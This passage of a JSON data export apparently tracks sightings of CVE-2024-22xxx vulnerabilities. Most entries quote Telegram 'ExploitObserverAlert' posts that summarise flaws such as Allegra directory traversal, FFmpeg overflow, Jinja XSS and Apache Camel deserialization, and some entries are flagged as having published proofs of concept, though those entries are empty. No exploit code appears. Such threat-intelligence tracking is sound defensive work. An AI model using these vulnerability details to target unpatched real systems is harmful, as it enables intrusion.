Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Allegra. Although authentication is required to exploit this vulnerability, the product implements a registration mechanism that can be used to create a new user with a sufficient privilege level. The ZDI has assigned a CVSS rating of 7.5. The following CVEs are assigned: CVE-2024-22530.", "creation_timestamp": "2024-02-11T14:41:40.000000Z"}, {"uuid": "4b931da5-61fb-41c9-b049-d9b6f6b004d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22532", "type": "seen", "source": "https://t.me/arpsyndicate/3406", "content": "#ExploitObserverAlert\n\nZDI-24-100\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to ZDI-24-100. Allegra serveMathJaxLibraries Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Allegra. Authentication is not required to exploit this vulnerability.  The ZDI has assigned a CVSS rating of 7.5. The following CVEs are assigned: CVE-2024-22532.", "creation_timestamp": "2024-02-11T14:28:19.000000Z"}, {"uuid": "00eed9c4-4c7d-447d-a9da-19bd1763c7bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22513", "type": "seen", "source": "https://t.me/arpsyndicate/3403", "content": "#ExploitObserverAlert\n\nZDI-24-101\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to ZDI-24-101. Allegra unzipFile Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The ZDI has assigned a CVSS rating of 7.2. The following CVEs are assigned: CVE-2024-22513.", "creation_timestamp": "2024-02-11T14:18:34.000000Z"}, {"uuid": "7c054fcb-dc0b-4524-b58f-005a771bf180", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22548", "type": "seen", "source": "https://t.me/arpsyndicate/3369", "content": "#ExploitObserverAlert\n\nZDI-24-104\n\nDESCRIPTION: Exploit Observer has 3 entries in 2 file formats related to ZDI-24-104. Allegra saveFile Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Allegra. Although authentication is required to exploit this vulnerability, product implements a registration mechanism that can be used to create a user with a sufficient privilege level. The ZDI has assigned a CVSS rating of 9.8. The following CVEs are assigned: CVE-2024-22548.", "creation_timestamp": "2024-02-11T12:38:57.000000Z"}, {"uuid": "8ca9fb2a-c650-4dda-8ad7-429d9ef13789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22862", "type": "published-proof-of-concept", "source": "https://t.me/arpsyndicate/3305", "content": "#ExploitObserverAlert\n\nCVE-2024-22862\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22862. Integer overflow vulnerability in FFmpeg before n6.1, allows remote attackers to execute arbitrary code via the JJPEG XL Parser.", "creation_timestamp": "2024-01-28T14:21:13.000000Z"}, {"uuid": "0ae35f82-21cf-4abd-828d-09622d09b762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22550", "type": "seen", "source": "https://t.me/arpsyndicate/3270", "content": "#ExploitObserverAlert\n\nCVE-2024-22550\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22550. An arbitrary file upload vulnerability in the component /alsdemo/ss/mediam.cgi of ShopSite v14.0 allows attackers to execute arbitrary code via uploading a crafted SVG file.", "creation_timestamp": "2024-01-28T10:34:57.000000Z"}, {"uuid": "643a3a24-69b8-4978-b4ae-a7e88a1b4398", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22233", "type": "seen", "source": "https://t.me/arpsyndicate/3191", "content": "#ExploitObserverAlert\n\nCVE-2024-22233\n\nDESCRIPTION: Exploit Observer has 4 entries in 3 file formats related to CVE-2024-22233. In Spring Framework versions 6.0.15 and 6.1.2, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition.  Specifically, an application is vulnerable when all of the following are true:    *  the application uses Spring MVC   *  Spring Security 6.1.6+ or 6.2.1+ is on the classpath   Typically, Spring Boot applications need the org.springframework.boot:spring-boot-starter-web\u00a0and org.springframework.boot:spring-boot-starter-security\u00a0dependencies to meet all conditions.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-01-28T03:50:07.000000Z"}, {"uuid": "e2cad580-cb29-492f-9288-e8e36fde5e66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22309", "type": "seen", "source": "https://t.me/arpsyndicate/2983", "content": "#ExploitObserverAlert\n\nCVE-2024-22309\n\nDESCRIPTION: Exploit Observer has 3 entries in 2 file formats related to CVE-2024-22309. Deserialization of Untrusted Data vulnerability in QuantumCloud ChatBot with AI.This issue affects ChatBot with AI: from n/a through 5.1.0.", "creation_timestamp": "2024-01-26T15:28:58.000000Z"}, {"uuid": "11795d84-e9b9-4d59-a946-86ca927ea8ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22651", "type": "seen", "source": "https://t.me/arpsyndicate/3113", "content": "#ExploitObserverAlert\n\nCVE-2024-22651\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22651. There is a command injection vulnerability in the ssdpcgi_main function of cgibin binary in D-Link DIR-815 router firmware v1.04.", "creation_timestamp": "2024-01-26T23:26:49.000000Z"}, {"uuid": "82422d5a-9016-4abb-91e9-bee1b313c905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22725", "type": "seen", "source": "https://t.me/arpsyndicate/3073", "content": "#ExploitObserverAlert\n\nCVE-2024-22725\n\nDESCRIPTION: Exploit Observer has 3 entries in 2 file formats related to CVE-2024-22725. Orthanc versions before 1.12.2 are affected by a reflected cross-site scripting (XSS) vulnerability. The vulnerability was present in the server's error reporting.", "creation_timestamp": "2024-01-26T21:10:50.000000Z"}, {"uuid": "cf92fa15-df04-4081-84fb-72e7ff2bdcd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22195", "type": "seen", "source": "https://t.me/arpsyndicate/3059", "content": "#ExploitObserverAlert\n\nCVE-2024-22195\n\nDESCRIPTION: Exploit Observer has 6 entries in 3 file formats related to CVE-2024-22195. Jinja is an extensible templating engine. Special placeholders in the template allow writing code similar to Python syntax. It is possible to inject arbitrary HTML attributes into the rendered HTML template, potentially leading to Cross-Site Scripting (XSS). The Jinja `xmlattr` filter can be abused to inject arbitrary HTML attribute keys and values, bypassing the auto escaping mechanism and potentially leading to XSS. It may also be possible to bypass attribute validation checks if they are blacklist-based.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 2.7\nNVD-ES: 2.8", "creation_timestamp": "2024-01-26T20:23:05.000000Z"}, {"uuid": "32efdd22-2079-468d-a2b1-aae4fa8f0a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22751", "type": "seen", "source": "https://t.me/arpsyndicate/3058", "content": "#ExploitObserverAlert\n\nCVE-2024-22751\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22751. D-Link DIR-882 DIR882A1_FW130B06 was discovered to contain a stack overflow via the sub_477AA0 function.", "creation_timestamp": "2024-01-26T20:20:37.000000Z"}, {"uuid": "a465affe-72ca-45f5-a883-c1047b9d099e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22922", "type": "seen", "source": "https://t.me/arpsyndicate/3008", "content": "#ExploitObserverAlert\n\nCVE-2024-22922\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22922. An issue in Projectworlds Vistor Management Systemin PHP v.1.0 allows a remtoe attacker to escalate privileges via a crafted script to the login page in the POST/index.php", "creation_timestamp": "2024-01-26T17:12:10.000000Z"}, {"uuid": "4403f19f-7828-48a0-ab90-a0fb86d4b353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22190", "type": "seen", "source": "https://t.me/arpsyndicate/2920", "content": "#ExploitObserverAlert\n\nCVE-2024-22190\n\nDESCRIPTION: Exploit Observer has 3 entries in 2 file formats related to CVE-2024-22190. GitPython is a python library used to interact with Git repositories. There is an incomplete fix for CVE-2023-40590. On Windows, GitPython uses an untrusted search path if it uses a shell to run `git`, as well as when it runs `bash.exe` to interpret hooks. If either of those features are used on Windows, a malicious `git.exe` or `bash.exe` may be run from an untrusted repository. This issue has been patched in version 3.1.41.\n\nFIRST-EPSS: 0.000450000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2024-01-19T10:29:47.000000Z"}, {"uuid": "09efdbcb-0c47-45bd-8b88-d97700821f78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22207", "type": "seen", "source": "https://t.me/arpsyndicate/2918", "content": "#ExploitObserverAlert\n\nCVE-2024-22207\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22207. fastify-swagger-ui is a Fastify plugin for serving Swagger UI.  Prior to 2.1.0, the default configuration of `@fastify/swagger-ui` without `baseDir` set will lead to all files in the module's directory being exposed via http routes served by the module.  The vulnerability is fixed in v2.1.0. Setting the `baseDir` option can also work around this vulnerability.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-01-19T10:12:13.000000Z"}, {"uuid": "d5356b11-7a12-4f23-86a5-31a2bdf8b9ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22075", "type": "seen", "source": "https://t.me/arpsyndicate/2972", "content": "#ExploitObserverAlert\n\nCVE-2024-22075\n\nDESCRIPTION: Exploit Observer has 4 entries in 3 file formats related to CVE-2024-22075. Firefly III (aka firefly-iii) before 6.1.1 allows webhooks HTML Injection.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 2.7\nNVD-ES: 2.8", "creation_timestamp": "2024-01-26T14:47:14.000000Z"}, {"uuid": "51d5be29-1eb6-405e-8dde-9718c4ff04cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22914", "type": "seen", "source": "https://t.me/arpsyndicate/2968", "content": "#ExploitObserverAlert\n\nCVE-2024-22914\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22914. A heap-use-after-free was found in SWFTools v0.9.2, in the function input at lex.swf5.c:2620. It allows an attacker to cause denial of service.", "creation_timestamp": "2024-01-21T09:50:00.000000Z"}, {"uuid": "36074438-3966-4cc7-a407-5e949e6023a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22920", "type": "seen", "source": "https://t.me/arpsyndicate/2967", "content": "#ExploitObserverAlert\n\nCVE-2024-22920\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22920. swftools 0.9.2 was discovered to contain a heap-use-after-free via the function bufferWriteData in swftools/lib/action/compile.c.", "creation_timestamp": "2024-01-21T09:33:28.000000Z"}, {"uuid": "a78a0d37-8d81-4752-87cc-39d25ab28e4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22409", "type": "seen", "source": "https://t.me/arpsyndicate/2965", "content": "#ExploitObserverAlert\n\nCVE-2024-22409\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22409. DataHub is an open-source metadata platform. In affected versions a low privileged user could remove a user, edit group members, or edit another user's profile information. The default privileges gave too many broad permissions to low privileged users. These have been constrained in PR #9067 to prevent abuse. This issue can result in privilege escalation for lower privileged users up to admin privileges, potentially, if a group with admin privileges exists. May not impact instances that have modified default privileges. This issue has been addressed in datahub version 0.12.1. Users are advised to upgrade.", "creation_timestamp": "2024-01-20T15:43:38.000000Z"}, {"uuid": "391b38b1-5038-422c-8bfe-d0ba545c6b17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22362", "type": "seen", "source": "https://t.me/arpsyndicate/2940", "content": "#ExploitObserverAlert\n\nCVE-2024-22362\n\nDESCRIPTION: Exploit Observer has 4 entries in 2 file formats related to CVE-2024-22362. Drupal contains a vulnerability with improper handling of structural elements. If this vulnerability is exploited, an attacker may be able to cause a denial-of-service (DoS) condition.\n\nFIRST-EPSS: 0.000450000", "creation_timestamp": "2024-01-19T17:03:45.000000Z"}, {"uuid": "b9c5e5ed-2c8c-460d-bf94-d247144eb95f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22201", "type": "seen", "source": "https://t.me/arpsyndicate/4894", "content": "#ExploitObserverAlert\n\nCVE-2024-22201\n\nDESCRIPTION: Exploit Observer has 16 entries in 5 file formats related to CVE-2024-22201. Jetty is a Java based web server and servlet engine. An HTTP/2 SSL connection that is established and TCP congested will be leaked when it times out. An attacker can cause many connections to end up in this state, and the server may run out of file descriptors, eventually causing the server to stop accepting new connections from valid clients. The vulnerability is patched in 9.4.54, 10.0.20, 11.0.20, and 12.0.6.\n\nFIRST-EPSS: 0.000450000\nARPS-PRIORITY: 0.7705204", "creation_timestamp": "2024-04-26T06:09:04.000000Z"}, {"uuid": "9efd8723-8992-48b3-9397-cee03ad8eb96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/PfifvZz7tMW-Pq-u9dIIWpX49EGHHaNBJSKvwqdUIESB65tP", "content": "", "creation_timestamp": "2025-01-19T10:54:13.000000Z"}, {"uuid": "e5e2de14-6e8e-4637-9c5a-4a02aaaa61eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/arpsyndicate/3825", "content": "#ExploitObserverAlert\n\nCVE-2024-22245\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22245. Arbitrary Authentication Relay and Session Hijack vulnerabilities in the deprecated VMware Enhanced Authentication Plug-in (EAP) could allow\u00a0a\u00a0malicious actor that could trick a target domain user with EAP installed in their web browser into requesting and relaying service tickets for arbitrary Active Directory Service Principal Names (SPNs).", "creation_timestamp": "2024-02-21T14:59:34.000000Z"}, {"uuid": "32d26fde-5e54-43e7-9452-802a2829e722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22235", "type": "seen", "source": "https://t.me/arpsyndicate/3894", "content": "#ExploitObserverAlert\n\nCVE-2024-22235\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22235. VMware Aria Operations contains a local privilege escalation vulnerability.\u00a0A malicious actor with administrative access to the local system can escalate privileges to 'root'.\n\nFIRST-EPSS: 0.000430000", "creation_timestamp": "2024-02-22T03:39:57.000000Z"}, {"uuid": "53da3aec-cd49-46a1-bf99-8474b820ebe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22097", "type": "seen", "source": "https://t.me/arpsyndicate/3842", "content": "#ExploitObserverAlert\n\nCVE-2024-22097\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22097. A double-free vulnerability exists in the BrainVision Header Parsing functionality of The Biosig Project libbiosig Master Branch (ab0ee111) and 2.5.0. A specially crafted .vdhr file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.\n\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-02-21T15:24:23.000000Z"}, {"uuid": "1707fa34-50a9-4608-ac3a-cf4583f27ff6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22473", "type": "seen", "source": "https://t.me/arpsyndicate/4017", "content": "#ExploitObserverAlert\n\nCVE-2024-22473\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22473. TRNG is used before initialization by ECDSA signing driver when exiting EM2/EM3 on Virtual Secure Vault (VSE) devices. This defect may allow Signature Spoofing by Key Recreation.This issue affects Gecko SDK through v4.4.0.", "creation_timestamp": "2024-02-22T19:36:45.000000Z"}, {"uuid": "80135637-e700-4bf0-b76b-ee8a19b80da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "seen", "source": "https://t.me/arpsyndicate/3835", "content": "#ExploitObserverAlert\n\nCVE-2024-22369\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22369. Deserialization of Untrusted Data vulnerability in Apache Camel SQL ComponentThis issue affects Apache Camel: from 3.0.0 before 3.21.4, from 3.22.0 before 3.22.1, from 4.0.0 before 4.0.4, from 4.1.0 before 4.4.0.  Users are recommended to upgrade to version 4.4.0, which fixes the issue. If users are on the 4.0.x LTS releases stream, then they are suggested to upgrade to 4.0.4. If users are on 3.x, they are suggested to move to 3.21.4 or 3.22.1", "creation_timestamp": "2024-02-21T15:14:11.000000Z"}, {"uuid": "11ab3400-dbeb-4559-8c31-0f9ae0cf5aaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22824", "type": "seen", "source": "https://t.me/arpsyndicate/3820", "content": "#ExploitObserverAlert\n\nCVE-2024-22824\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22824. An issue in Timo v.2.0.3 allows a remote attacker to execute arbitrary code via the filetype restrictions in the UploadController.java component.", "creation_timestamp": "2024-02-21T14:51:03.000000Z"}, {"uuid": "3cd95c99-bb07-499a-8b30-5728eb2f8f34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22250", "type": "seen", "source": "https://t.me/arpsyndicate/3800", "content": "#ExploitObserverAlert\n\nCVE-2024-22250\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22250. Session Hijack vulnerability in Deprecated VMware Enhanced Authentication Plug-in could allow a\u00a0malicious actor with unprivileged local access to a windows operating system can hijack a privileged EAP session when initiated by a privileged domain user on the same system.", "creation_timestamp": "2024-02-21T14:16:42.000000Z"}, {"uuid": "e0c5028a-6eb9-47a5-8385-84e818e070f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22054", "type": "seen", "source": "https://t.me/arpsyndicate/3780", "content": "#ExploitObserverAlert\n\nCVE-2024-22054\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-22054. A malformed discovery packet sent by a malicious actor with preexisting access to the network could interrupt the functionality of device management and discovery.        Affected Products:  UniFi Access Points  UniFi Switches  UniFi LTE Backup  UniFi Express (Only Mesh Mode, Router mode is not affected)      Mitigation:  Update UniFi Access Points to Version 6.6.65 or later.  Update UniFi Switches to Version 6.6.61 or later.  Update UniFi LTE Backup to Version 6.6.57 or later.  Update UniFi Express to Version 3.2.5 or later.", "creation_timestamp": "2024-02-21T13:48:52.000000Z"}, {"uuid": "c935e11a-fb04-4cec-988d-4e3217302a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/OIy-vi5ELr4cctl8ownkSK8SkQmdcofc4nGKbyP-zK6wBJzg", "content": "", "creation_timestamp": "2025-01-19T10:45:24.000000Z"}, {"uuid": "1ca688df-9d56-48ba-89bd-8efe3500d7bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22088", "type": "seen", "source": "https://t.me/arpsyndicate/2694", "content": "#ExploitObserverAlert\n\nCVE-2024-22088\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2024-22088. Lotos WebServer through 0.1.1 (commit 3eb36cc) has a use-after-free in buffer_avail() at buffer.h via a long URI, because realloc is mishandled.", "creation_timestamp": "2024-01-09T00:12:33.000000Z"}, {"uuid": "d9603aa5-793b-4e2b-a484-70658309275b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22206", "type": "seen", "source": "https://t.me/arpsyndicate/2771", "content": "#ExploitObserverAlert\n\nCVE-2024-22206\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22206. Clerk helps developers build user management. Unauthorized access or privilege escalation due to a logic flaw in auth() in the App Router or getAuth() in the Pages Router. This vulnerability was patched in version 4.29.3.", "creation_timestamp": "2024-01-15T08:38:37.000000Z"}, {"uuid": "ea54f540-d8f9-450d-8129-13c8d7b0ccb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22209", "type": "seen", "source": "https://t.me/arpsyndicate/2858", "content": "#ExploitObserverAlert\n\nCVE-2024-22209\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22209. Open edX Platform is a service-oriented platform for authoring and delivering online learning. A user with a JWT and more limited scopes could call endpoints exceeding their access. This vulnerability has been patched in commit 019888f.", "creation_timestamp": "2024-01-16T14:47:24.000000Z"}, {"uuid": "bd24b024-3ae9-4dbf-bd5a-4732500ad59c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22086", "type": "seen", "source": "https://t.me/arpsyndicate/2681", "content": "#ExploitObserverAlert\n\nCVE-2024-22086\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2024-22086. handle_request in http.c in cherry through 4b877df has an sscanf stack-based buffer overflow via a long URI, leading to remote code execution.", "creation_timestamp": "2024-01-08T20:55:19.000000Z"}, {"uuid": "64dd5d60-219e-4467-8c6b-db6a38776df0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22087", "type": "seen", "source": "https://t.me/arpsyndicate/2647", "content": "#ExploitObserverAlert\n\nCVE-2024-22087\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2024-22087. route in main.c in Pico HTTP Server in C through f3b69a6 has an sprintf stack-based buffer overflow via a long URI, leading to remote code execution.", "creation_timestamp": "2024-01-08T14:28:51.000000Z"}, {"uuid": "93b95140-e908-4ad3-aa76-f7c53d10eab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/1yNdYtjM167PWJ8z4QCuhWfayRW6CDLYSnp7378ajV5EDt8", "content": "", "creation_timestamp": "2024-10-04T00:51:08.000000Z"}, {"uuid": "7250c725-9199-49fa-adbb-7adf83bd2169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/MI65lLGsaGTIv40PK1J154YyMiL63QZNJWuw9XlT_YRsFb40", "content": "", "creation_timestamp": "2025-01-19T09:05:12.000000Z"}, {"uuid": "db454d48-608d-4d32-92ca-6412d9d3fa45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/1Z5p7xYqKVRAHiS5stM6LcQjCrKKZtV6q5K3lriQD01vETjY", "content": "", "creation_timestamp": "2025-01-20T11:03:16.000000Z"}, {"uuid": "daac6426-c4bf-499e-8d11-1a41ff6fae2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22253", "type": "seen", "source": "Telegram/hk8eFERwlhelxRhSNb_S4Dk3xQ7fpjxSuZyVFO5BPa2UKQ", "content": "", "creation_timestamp": "2024-03-06T10:07:34.000000Z"}, {"uuid": "ba1f4f37-4b23-4ace-827e-fd841f0bd3f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "seen", "source": "Telegram/hk8eFERwlhelxRhSNb_S4Dk3xQ7fpjxSuZyVFO5BPa2UKQ", "content": "", "creation_timestamp": "2024-03-06T10:07:34.000000Z"}, {"uuid": "87927846-2777-4db8-ae73-7322aee039d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/7b0KDMH2WfquipCst9Tv71iesbtnEU4bQJg16OEgDf9nbvsj", "content": "", "creation_timestamp": "2024-12-22T22:15:27.000000Z"}, {"uuid": "307e2731-e20c-4087-ad56-93aa89495c93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "Telegram/9VKq_JaAKSvNyAVIQOaTsQA25aea2580MUhRGlZTPJrJ2T0", "content": "", "creation_timestamp": "2024-05-27T10:46:40.000000Z"}, {"uuid": "c1f1ba61-e0ce-43ff-b9b9-c8537613dfbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "Telegram/5uCXc0_4cqtBZOg5zF2sxq4NGhKkrJ5GBpEaTCk2dTGPDw", "content": "", "creation_timestamp": "2024-02-21T08:17:21.000000Z"}, {"uuid": "1aba2da9-bbb4-4e90-b1da-62ae55e3524e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22936", "type": "seen", "source": "Telegram/1g3djUiuV2wMBXO5bCUhWSoLDEzqo_dPEp3vetPX4yTZE6BSvw", "content": "", "creation_timestamp": "2024-08-12T14:58:37.000000Z"}, {"uuid": "decb85d7-0ed4-4290-a55c-d4ed6fd1ca79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "Telegram/3_EbQorj8QvRZSA5UObdFtwCazXdKk2CkldD1f8gRQCeXw", "content": "", "creation_timestamp": "2024-02-09T05:23:22.000000Z"}, {"uuid": "76d8dd49-e06e-4380-ae03-a0aff08cd29c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "Telegram/Kjaky2iO7ZsRL5h4THsimvHn2xzyf9mFpFGwKs3Ggbvkhtc", "content": "", "creation_timestamp": 